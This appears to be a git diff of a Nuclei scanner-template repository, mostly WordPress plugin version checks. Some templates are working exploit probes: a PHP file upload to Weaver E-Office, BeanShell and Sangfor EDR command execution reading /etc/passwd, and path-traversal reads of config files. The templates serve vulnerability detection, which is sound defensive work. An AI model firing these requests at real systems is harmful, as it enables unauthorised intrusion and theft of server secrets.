https://www.wordfence.com/threat-intel/vulnerabilities/id/c3ea4bf9-e109-465e-890a-c2923089fb66?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H + cvss-score: 7.5 + cve-id: CVE-2024-5637 + metadata: + fofa-query: "wp-content/plugins/market-exporter/" + google-query: inurl:"/wp-content/plugins/market-exporter/" + shodan-query: 'vuln:CVE-2024-5637' + tags: cve,wordpress,wp-plugin,market-exporter,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/market-exporter/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "market-exporter" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.0.19') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5640-97926cf22b75d273b8be77e89027662a.yaml b/poc/cve/CVE-2024-5640-97926cf22b75d273b8be77e89027662a.yaml new file mode 100644 index 0000000000..f2bdd93e24 --- /dev/null +++ b/poc/cve/CVE-2024-5640-97926cf22b75d273b8be77e89027662a.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5640-97926cf22b75d273b8be77e89027662a + +info: + name: > + Prime Slider – Addons For Elementor (Revolution of a slider, Hero Slider, Ecommerce Slider) <= 3.14.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Pacific Widget + author: topscoder + severity: low + description: > + The Prime Slider – Addons For Elementor (Revolution of a slider, Hero Slider, Ecommerce Slider) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘id’ attribute within the Pacific widget in all versions up to, and including, 3.14.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/9820b52b-540a-47e8-9e5f-274ef1720ffa?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-5640 + metadata: + fofa-query: "wp-content/plugins/bdthemes-prime-slider-lite/" + google-query: inurl:"/wp-content/plugins/bdthemes-prime-slider-lite/" + shodan-query: 'vuln:CVE-2024-5640' + tags: cve,wordpress,wp-plugin,bdthemes-prime-slider-lite,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/bdthemes-prime-slider-lite/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "bdthemes-prime-slider-lite" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 3.14.7') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5645-1e0813366396dcffd446ea61fbcc4596.yaml b/poc/cve/CVE-2024-5645-1e0813366396dcffd446ea61fbcc4596.yaml new file mode 100644 index 0000000000..810cacefb9 --- /dev/null +++ b/poc/cve/CVE-2024-5645-1e0813366396dcffd446ea61fbcc4596.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5645-1e0813366396dcffd446ea61fbcc4596 + +info: + name: > + Envo Extra <= 1.8.23 - Authenticated (Contributor+) Stored Cross-Site Scripting via Button Widget + author: topscoder + severity: low + description: > + The Envo Extra plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘button_css_id’ parameter within the Button widget in all versions up to, and including, 1.8.23 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/dbe53b09-84c6-4fb6-9a79-1e4987678129?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-5645 + metadata: + fofa-query: "wp-content/plugins/envo-extra/" + google-query: inurl:"/wp-content/plugins/envo-extra/" + shodan-query: 'vuln:CVE-2024-5645' + tags: cve,wordpress,wp-plugin,envo-extra,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/envo-extra/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "envo-extra" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.8.23') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5656.yaml b/poc/cve/CVE-2024-5656.yaml new file mode 100644 index 0000000000..74ead78946 --- /dev/null +++ b/poc/cve/CVE-2024-5656.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5656 + +info: + name: > + Google CSE <= 1.0.7 - Authenticated (Admin+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Google CSE plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/37cf63e3-9301-441d-9852-b2de83078b51?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2024-5656 + metadata: + fofa-query: "wp-content/plugins/google-cse/" + google-query: inurl:"/wp-content/plugins/google-cse/" + shodan-query: 'vuln:CVE-2024-5656' + tags: cve,wordpress,wp-plugin,google-cse,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/google-cse/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "google-cse" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.0.7') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5665.yaml b/poc/cve/CVE-2024-5665.yaml new file mode 100644 index 0000000000..e4a809765e --- /dev/null +++ b/poc/cve/CVE-2024-5665.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5665 + +info: + name: > + Login/Signup Popup ( Inline Form + Woocommerce ) 2.7.1 - 2.7.2 - Missing Authorization to Arbitrary Options Exposure + author: topscoder + severity: low + description: > + The Login/Signup Popup ( Inline Form + Woocommerce ) plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the ‘export_settings’ function in versions 2.7.1 to 2.7.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read arbitrary options on affected sites. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/1a304e9a-9518-4a6a-b36a-963cb329f5c3?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N + cvss-score: 4.3 + cve-id: CVE-2024-5665 + metadata: + fofa-query: "wp-content/plugins/easy-login-woocommerce/" + google-query: inurl:"/wp-content/plugins/easy-login-woocommerce/" + shodan-query: 'vuln:CVE-2024-5665' + tags: cve,wordpress,wp-plugin,easy-login-woocommerce,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/easy-login-woocommerce/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "easy-login-woocommerce" + part: body + + - type: dsl + dsl: + - compare_versions(version, '>= 2.7.1', '<= 2.7.2') \ No newline at end of file diff --git "a/poc/cve/E-office \344\273\273\346\204\217\346\226\207\344\273\266\344\270\212\344\274\240-mobile_upload_save\357\274\210CVE-2023-2523\357\274\211.yaml" "b/poc/cve/E-office \344\273\273\346\204\217\346\226\207\344\273\266\344\270\212\344\274\240-mobile_upload_save\357\274\210CVE-2023-2523\357\274\211.yaml" deleted file mode 100644 index 49a25d8de8..0000000000 --- "a/poc/cve/E-office \344\273\273\346\204\217\346\226\207\344\273\266\344\270\212\344\274\240-mobile_upload_save\357\274\210CVE-2023-2523\357\274\211.yaml" +++ /dev/null @@ -1,75 +0,0 @@ -id: CVE-2023-2523 - -info: - name: E-Office E-Mobile Ajax.php - Arbitrary File Upload - author: Co5mos - severity: critical - description: A vulnerability was found in Weaver E-Office 9.5. - reference: - - https://blog.csdn.net/qq_41904294/article/details/130832416 - - https://nvd.nist.gov/vuln/detail/CVE-2023-2523 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2023-2523 - cwe-id: CWE-434 - cpe: cpe:2.3:a:e-office:e-office:9.5:*:*:*:*:*:*:* - metadata: - max-request: 2 - verified: true - fofa-query: app="泛微-EOffice" - tags: weaver,eoffice,fileupload - -variables: - filename: "{{rand_base(5)}}" - -http: - - raw: - - | - POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save HTTP/1.1 - Host: {{Hostname}} - Cache-Control: max-age=0 - Upgrade-Insecure-Requests: 1 - Origin: null - Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 - Accept-Encoding: gzip, deflate - Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 - Connection: close - - ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt - Content-Disposition: form-data; name="upload_quwan"; filename="{{filename}}.php." - Content-Type: image/jpeg - - <?php print(1111*2222);unlink(__FILE__);?> - ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt - Content-Disposition: form-data; name="file"; filename="" - Content-Type: application/octet-stream - - - ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt-- - - - | - GET /attachment/{{number}}/{{filename}}.php HTTP/1.1 - Host: {{Hostname}} - - extractors: - - type: regex - part: body - name: number - group: 1 - regex: - - 'attachment./(\d+)./\w+\.php' - internal: true - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '2468642' - - - type: status - status: - - 200 \ No newline at end of file diff --git a/poc/cve/apache-tomcat-CVE-2022-34305.yaml b/poc/cve/apache-tomcat-CVE-2022-34305.yaml new file mode 100644 index 0000000000..ec39b0e707 --- /dev/null +++ b/poc/cve/apache-tomcat-CVE-2022-34305.yaml @@ -0,0 +1,21 @@ +id: apache-tomcat-CVE-2022-34305 +info: + name: Apache Tomcat CVE-2022-34305 + author: wasp76b + severity: low + reference: https://www.openwall.com/lists/oss-security/2022/06/23/1 + tags: apache,misconfig,tomcat,disclosure + +requests: + - method: GET + path: + - "{{BaseURL}}/examples/jsp/security/protected/index.jsp" + matchers-condition: and + matchers: + - type: word + words: + - 'Login Page for Examples' + + - type: status + status: + - 200 diff --git a/poc/cve/apache-tomcat-cve-2022-34305.yaml b/poc/cve/apache-tomcat-cve-2022-34305.yaml index ec39b0e707..40fd7523ae 100644 --- a/poc/cve/apache-tomcat-cve-2022-34305.yaml +++ b/poc/cve/apache-tomcat-cve-2022-34305.yaml @@ -5,7 +5,6 @@ info: severity: low reference: https://www.openwall.com/lists/oss-security/2022/06/23/1 tags: apache,misconfig,tomcat,disclosure - requests: - method: GET path: @@ -15,7 +14,6 @@ requests: - type: word words: - 'Login Page for Examples' - - type: status status: - 200 diff --git a/poc/cve/cnnvd-200705-315-1035.yaml b/poc/cve/cnnvd-200705-315-1035.yaml index d8d59352f8..fcfc97f271 100644 --- a/poc/cve/cnnvd-200705-315-1035.yaml +++ b/poc/cve/cnnvd-200705-315-1035.yaml @@ -3,7 +3,7 @@ info: name: Caucho Resin Information Disclosure author: princechaddha severity: high - reference: | + reference: - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200705-315 tags: resin,caucho,lfr requests: diff --git a/poc/cve/cnvd-2018-13393-1037.yaml b/poc/cve/cnvd-2018-13393-1037.yaml index 0fd90a4a1c..f98789650f 100644 --- a/poc/cve/cnvd-2018-13393-1037.yaml +++ b/poc/cve/cnvd-2018-13393-1037.yaml @@ -1,17 +1,15 @@ id: CNVD-2018-13393 - info: name: Metinfo LFI author: ritikchaddha severity: high - reference: https://paper.seebug.org/676/ + reference: + - https://paper.seebug.org/676/ tags: metinfo,cnvd,cvnd2018,lfi - requests: - method: GET path: - '{{BaseURL}}/include/thumb.php?dir=http\..\admin\login\login_check.php' - redirects: true max-redirects: 2 matchers-condition: and diff --git a/poc/cve/cnvd-2018-13393-1038.yaml b/poc/cve/cnvd-2018-13393-1038.yaml deleted file mode 100644 index f98789650f..0000000000 --- a/poc/cve/cnvd-2018-13393-1038.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: CNVD-2018-13393 -info: - name: Metinfo LFI - author: ritikchaddha - severity: high - reference: - - https://paper.seebug.org/676/ - tags: metinfo,cnvd,cvnd2018,lfi -requests: - - method: GET - path: - - '{{BaseURL}}/include/thumb.php?dir=http\..\admin\login\login_check.php' - redirects: true - max-redirects: 2 - matchers-condition: and - matchers: - - type: word - part: body - words: - - "<?php" - - "login_met_cookie($metinfo_admin_name);" - condition: and diff --git a/poc/cve/cnvd-2018-13393-1039.yaml b/poc/cve/cnvd-2018-13393-1039.yaml new file mode 100644 index 0000000000..f215ee7764 --- /dev/null +++ b/poc/cve/cnvd-2018-13393-1039.yaml @@ -0,0 +1,32 @@ +id: CNVD-2018-13393 + +info: + name: Metinfo - Local File Inclusion + author: ritikchaddha + severity: high + description: Metinfo is susceptible to local file inclusion. + reference: + - https://paper.seebug.org/676/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 + cwe-id: CWE-22 + tags: metinfo,cnvd,cvnd2018,lfi + +requests: + - method: GET + path: + - '{{BaseURL}}/include/thumb.php?dir=http\..\admin\login\login_check.php' + + redirects: true + max-redirects: 2 + matchers-condition: and + matchers: + - type: word + part: body + words: + - "<?php" + - "login_met_cookie($metinfo_admin_name);" + condition: and + +# Enhanced by mp on 2022/07/05 diff --git a/poc/cve/cnvd-2019-01348-1043.yaml b/poc/cve/cnvd-2019-01348-1043.yaml index 6eba48d631..dd4d48e93b 100644 --- a/poc/cve/cnvd-2019-01348-1043.yaml +++ b/poc/cve/cnvd-2019-01348-1043.yaml @@ -5,7 +5,7 @@ info: severity: medium description: The Xiuno BBS system has a system reinstallation vulnerability. The vulnerability stems from the failure to protect or filter the installation directory after the system is installed. Attackers can directly reinstall the system through the installation page. reference: https://www.cnvd.org.cn/flaw/show/CNVD-2019-01348 - tags: xiuno,cnvd + tags: xiuno,cnvd,cnvd2019 requests: - method: GET path: @@ -18,8 +18,8 @@ requests: status: - 200 - type: word + part: body words: - "/view/js/xiuno.js" - "Choose Language (选择语言)" - part: body condition: and diff --git a/poc/cve/cnvd-2019-01348-1045.yaml b/poc/cve/cnvd-2019-01348-1045.yaml index dd4d48e93b..bc7ef90a1e 100644 --- a/poc/cve/cnvd-2019-01348-1045.yaml +++ b/poc/cve/cnvd-2019-01348-1045.yaml @@ -3,9 +3,14 @@ info: name: Xiuno BBS CNVD-2019-01348 author: princechaddha severity: medium - description: The Xiuno BBS system has a system reinstallation vulnerability. The vulnerability stems from the failure to protect or filter the installation directory after the system is installed. Attackers can directly reinstall the system through the installation page. + description: Xiuno BBS system has a system reinstallation vulnerability that could allow an attacker to directly reinstall the system through the installation page. reference: https://www.cnvd.org.cn/flaw/show/CNVD-2019-01348 tags: xiuno,cnvd,cnvd2019 + remediation: There is currently no patch available. + classification: + cvss-metrics: CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H + cvss-score: 6.5 + cwe-id: CWE-276 requests: - method: GET path: @@ -23,3 +28,5 @@ requests: - "/view/js/xiuno.js" - "Choose Language (选择语言)" condition: and + +# Enhanced by mp on 2022/01/26 diff --git a/poc/cve/cnvd-2019-06255-1046.yaml b/poc/cve/cnvd-2019-06255-1046.yaml index 29a940e1b7..25952a3a9e 100644 --- a/poc/cve/cnvd-2019-06255-1046.yaml +++ b/poc/cve/cnvd-2019-06255-1046.yaml @@ -1,27 +1,31 @@ id: CNVD-2019-06255 + info: name: CatfishCMS RCE author: Lark-Lab severity: critical description: CatfishCMS 4.8.54 contains a remote command execution vulnerability in the "method" parameter. + remediation: Upgrade to CatfishCMS version 4.8.54 or later. reference: - https://its401.com/article/yun2diao/91344725 - https://github.com/xwlrbh/Catfish/issues/4 + tags: rce,cnvd,catfishcms,cnvd2019 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cwe-id: CWE-77 - remediation: Upgrade to CatfishCMS version 4.8.54 or later. - tags: rce,cnvd,catfishcms,cnvd2019 + requests: - method: GET path: - "{{BaseURL}}/s=set&_method=__construct&method=*&filter[]=system" + matchers-condition: and matchers: - type: status status: - 200 + - type: word words: - 'OS' diff --git a/poc/cve/cnvd-2019-19299-1052.yaml b/poc/cve/cnvd-2019-19299-1051.yaml similarity index 100% rename from poc/cve/cnvd-2019-19299-1052.yaml rename to poc/cve/cnvd-2019-19299-1051.yaml diff --git a/poc/cve/cnvd-2019-32204-1053.yaml b/poc/cve/cnvd-2019-32204-1053.yaml deleted file mode 100644 index 41f36c059b..0000000000 --- a/poc/cve/cnvd-2019-32204-1053.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: CNVD-2019-32204 - -info: - name: Fanwei e-cology <= 9.0 Remote Code Execution - author: daffainfo - severity: critical - description: The attacker can directly execute arbitrary commands on the target server by invoking the unauthorized access problem interface in the BeanShell component. Currently, the security patch for this vulnerability has been released. Please take protective measures as soon as possible for users who use the Fanwei e-cology OA system. - reference: https://blog.actorsfit.com/a?ID=01500-11a2f7e6-54b0-4a40-9a79-5c56dc6ebd51 - tags: fanwei,cnvd,cnvd2019,rce - -requests: - - raw: - - | - POST /bsh.servlet.BshServlet HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - bsh.script=exec("cat+/etc/passwd");&bsh.servlet.output=raw - - matchers: - - type: regex - regex: - - "root:.*:0:0:" diff --git a/poc/cve/cnvd-2019-32204-1054.yaml b/poc/cve/cnvd-2019-32204-1054.yaml new file mode 100644 index 0000000000..3459d11a6c --- /dev/null +++ b/poc/cve/cnvd-2019-32204-1054.yaml @@ -0,0 +1,27 @@ +id: CNVD-2019-32204 +info: + name: Fanwei e-cology <=9.0 - Remote Code Execution + author: daffainfo + severity: critical + description: Fanwei e-cology <=9.0 is susceptible to remote code execution vulnerabilities. Remote attackers can directly execute arbitrary commands on the target server by invoking the unauthorized access problem interface in the BeanShell component. Currently, the security patch for this vulnerability has been released. Please take protective measures as soon as possible for users who use the Fanwei e-cology OA system. + reference: + - https://blog.actorsfit.com/a?ID=01500-11a2f7e6-54b0-4a40-9a79-5c56dc6ebd51 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + tags: fanwei,cnvd,cnvd2019,rce +requests: + - raw: + - | + POST /bsh.servlet.BshServlet HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + bsh.script=exec("cat+/etc/passwd");&bsh.servlet.output=raw + matchers: + - type: regex + regex: + - "root:.*:0:0:" + +# Enhanced by mp on 2022/05/12 diff --git a/poc/cve/cnvd-2020-23735-1055.yaml b/poc/cve/cnvd-2020-23735-1055.yaml deleted file mode 100644 index bc7cf86e2b..0000000000 --- a/poc/cve/cnvd-2020-23735-1055.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: CNVD-2020-23735 -info: - name: Xxunchi Local File read - author: princechaddha - severity: medium - description: Xunyou cms has an arbitrary file reading vulnerability. Attackers can use vulnerabilities to obtain sensitive information. - reference: https://www.cnvd.org.cn/flaw/show/2025171 - tags: xunchi,lfi,cnvd,cnvd2020 -requests: - - method: GET - path: - - "{{BaseURL}}/backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - part: body - words: - - "NzbwpQSdbY06Dngnoteo2wdgiekm7j4N" - - "display_errors" - condition: and diff --git a/poc/cve/cnvd-2020-23735-1058.yaml b/poc/cve/cnvd-2020-23735-1058.yaml index 362899a47f..bc7cf86e2b 100644 --- a/poc/cve/cnvd-2020-23735-1058.yaml +++ b/poc/cve/cnvd-2020-23735-1058.yaml @@ -5,7 +5,7 @@ info: severity: medium description: Xunyou cms has an arbitrary file reading vulnerability. Attackers can use vulnerabilities to obtain sensitive information. reference: https://www.cnvd.org.cn/flaw/show/2025171 - tags: xunchi,lfi,cnvd + tags: xunchi,lfi,cnvd,cnvd2020 requests: - method: GET path: @@ -16,8 +16,8 @@ requests: status: - 200 - type: word + part: body words: - "NzbwpQSdbY06Dngnoteo2wdgiekm7j4N" - "display_errors" - part: body condition: and diff --git a/poc/cve/cnvd-2020-23735-1059.yaml b/poc/cve/cnvd-2020-23735-1059.yaml new file mode 100644 index 0000000000..362899a47f --- /dev/null +++ b/poc/cve/cnvd-2020-23735-1059.yaml @@ -0,0 +1,23 @@ +id: CNVD-2020-23735 +info: + name: Xxunchi Local File read + author: princechaddha + severity: medium + description: Xunyou cms has an arbitrary file reading vulnerability. Attackers can use vulnerabilities to obtain sensitive information. + reference: https://www.cnvd.org.cn/flaw/show/2025171 + tags: xunchi,lfi,cnvd +requests: + - method: GET + path: + - "{{BaseURL}}/backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "NzbwpQSdbY06Dngnoteo2wdgiekm7j4N" + - "display_errors" + part: body + condition: and diff --git a/poc/cve/cnvd-2020-46552-1060.yaml b/poc/cve/cnvd-2020-46552-1060.yaml new file mode 100644 index 0000000000..4fbc8f5847 --- /dev/null +++ b/poc/cve/cnvd-2020-46552-1060.yaml @@ -0,0 +1,34 @@ +id: CNVD-2020-46552 + +info: + name: Sangfor EDR - Remote Code Execution + author: ritikchaddha + severity: critical + description: Sangfor Endpoint Monitoring and Response Platform (EDR) contains a remote code execution vulnerability. An attacker could exploit this vulnerability by constructing an HTTP request which could execute arbitrary commands on the target host. + reference: + - https://www.modb.pro/db/144475 + - https://blog.csdn.net/bigblue00/article/details/108434009 + - https://cn-sec.com/archives/721509.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10 + cwe-id: CWE-77 + metadata: + max-request: 1 + tags: cnvd,cnvd2020,sangfor,rce + +http: + - method: GET + path: + - "{{BaseURL}}/tool/log/c.php?strip_slashes=printf&host=nl+c.php" + + matchers: + - type: dsl + dsl: + - 'contains(body, "$show_input = function($info)")' + - 'contains(body, "$strip_slashes($host)")' + - 'contains(body, "Log Helper")' + - 'status_code == 200' + condition: and + +# digest: 4a0a0047304502202862eba6aef622b1dae0bcb4e023f3454a7d9bafa253edded09bef38bbf64713022100e4f0118515d3ce26dfb977df1e3bb9a11401d1b113b5842311bcadea68b213bc:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/cnvd-2020-67113-1070.yaml b/poc/cve/cnvd-2020-67113-1070.yaml index b532be919b..a7ca982d30 100644 --- a/poc/cve/cnvd-2020-67113-1070.yaml +++ b/poc/cve/cnvd-2020-67113-1070.yaml @@ -1,22 +1,30 @@ id: CNVD-2020-67113 info: - name: H5S CONSOLE Unauthorized Access Vulnerability (CNVD-2020-67113) + name: H5S CONSOLE - Unauthorized Access author: ritikchaddha - severity: high - description: Zero Vision Technology (Shanghai) Co., Ltd. H5S CONSOLE Exists Unauthorized Access Vulnerability - reference: https://vul.wangan.com/a/CNVD-2020-67113 + severity: medium + description: H5S CONSOLE is susceptible to an unauthorized access vulnerability. + reference: + - https://vul.wangan.com/a/CNVD-2020-67113 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cwe-id: CWE-425 metadata: + verified: true + max-request: 2 shodan-query: http.title:"H5S CONSOLE" - tags: h5s,unauth,h5sconsole,cnvd,cnvd2020 + tags: cnvd,cnvd2020,h5s,unauth,h5sconsole -requests: +http: - method: GET path: - "{{BaseURL}}/api/v1/GetSrc" - "{{BaseURL}}/api/v1/GetDevice" stop-at-first-match: true + matchers-condition: and matchers: - type: word @@ -41,3 +49,5 @@ requests: - type: status status: - 200 + +# digest: 4a0a004730450221009699239931e6e4becf71892aeb11692cfd9d64a3ab68b722b6ac11bd2145932b02200ebc3e717d8f7e13284940a74c6e295db280a0da787c8cb68551251918bbc153:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/cnvd-2020-67113-1072.yaml b/poc/cve/cnvd-2020-67113-1072.yaml new file mode 100644 index 0000000000..7be7d95130 --- /dev/null +++ b/poc/cve/cnvd-2020-67113-1072.yaml @@ -0,0 +1,38 @@ +id: CNVD-2020-67113 +info: + name: H5S CONSOLE Unauthorized Access Vulnerability (CNVD-2020-67113) + author: ritikchaddha + severity: high + description: Zero Vision Technology (Shanghai) Co., Ltd. H5S CONSOLE Exists Unauthorized Access Vulnerability + reference: + - https://vul.wangan.com/a/CNVD-2020-67113 + metadata: + shodan-query: http.title:"H5S CONSOLE" + tags: h5s,unauth,h5sconsole,cnvd,cnvd2020 +requests: + - method: GET + path: + - "{{BaseURL}}/api/v1/GetSrc" + - "{{BaseURL}}/api/v1/GetDevice" + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'strUser' + - 'strPasswd' + condition: and + - type: word + part: body + words: + - 'H5_AUTO' + - 'H5_DEV' + condition: or + - type: word + part: header + words: + - "application/json" + - type: status + status: + - 200 diff --git a/poc/cve/cnvd-2020-68596-1074.yaml b/poc/cve/cnvd-2020-68596-1074.yaml new file mode 100644 index 0000000000..ecef3f6766 --- /dev/null +++ b/poc/cve/cnvd-2020-68596-1074.yaml @@ -0,0 +1,42 @@ +id: CNVD-2020-68596 + +info: + name: WeiPHP 5.0 Path Traversal + author: pikpikcu + severity: critical + reference: http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E5%89%8D%E5%8F%B0%E6%96%87%E4%BB%B6%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%8F%96%20CNVD-2020-68596.html + tags: weiphp,lfi,cnvd,cnvd2020 + +requests: + - raw: + - | + POST /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + "1":1 + - | + GET /public/index.php/home/file/user_pics HTTP/1.1 + Host: {{Hostname}} + + + - | + GET {{endpoint}} HTTP/1.1 + Host: {{Hostname}} + + extractors: + - type: regex + name: endpoint + part: body + internal: true + regex: + - '/public/uploads/picture/(.*.jpg)' + + matchers: + - type: word + part: body + words: + - https://weiphp.cn + - WeiPHP + - DB_PREFIX + condition: and diff --git a/poc/cve/cnvd-2021-01931-1077.yaml b/poc/cve/cnvd-2021-01931-1077.yaml index 77ada6be34..5f5c67e5af 100644 --- a/poc/cve/cnvd-2021-01931-1077.yaml +++ b/poc/cve/cnvd-2021-01931-1077.yaml @@ -1,13 +1,21 @@ id: CNVD-2021-01931 info: - name: Ruoyi Management System Arbitrary File Download + name: Ruoyi Management System - Local File Inclusion author: daffainfo,ritikchaddha severity: high - reference: https://disk.scan.cm/All_wiki/%E4%BD%A9%E5%A5%87PeiQi-WIKI-POC-2021-7-20%E6%BC%8F%E6%B4%9E%E5%BA%93/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E8%8B%A5%E4%BE%9D%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/%E8%8B%A5%E4%BE%9D%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20%E5%90%8E%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%20CNVD-2021-01931.md?hash=zE0KEPGJ + description: The Ruoyi Management System contains a local file inclusion vulnerability that allows attackers to retrieve arbitrary 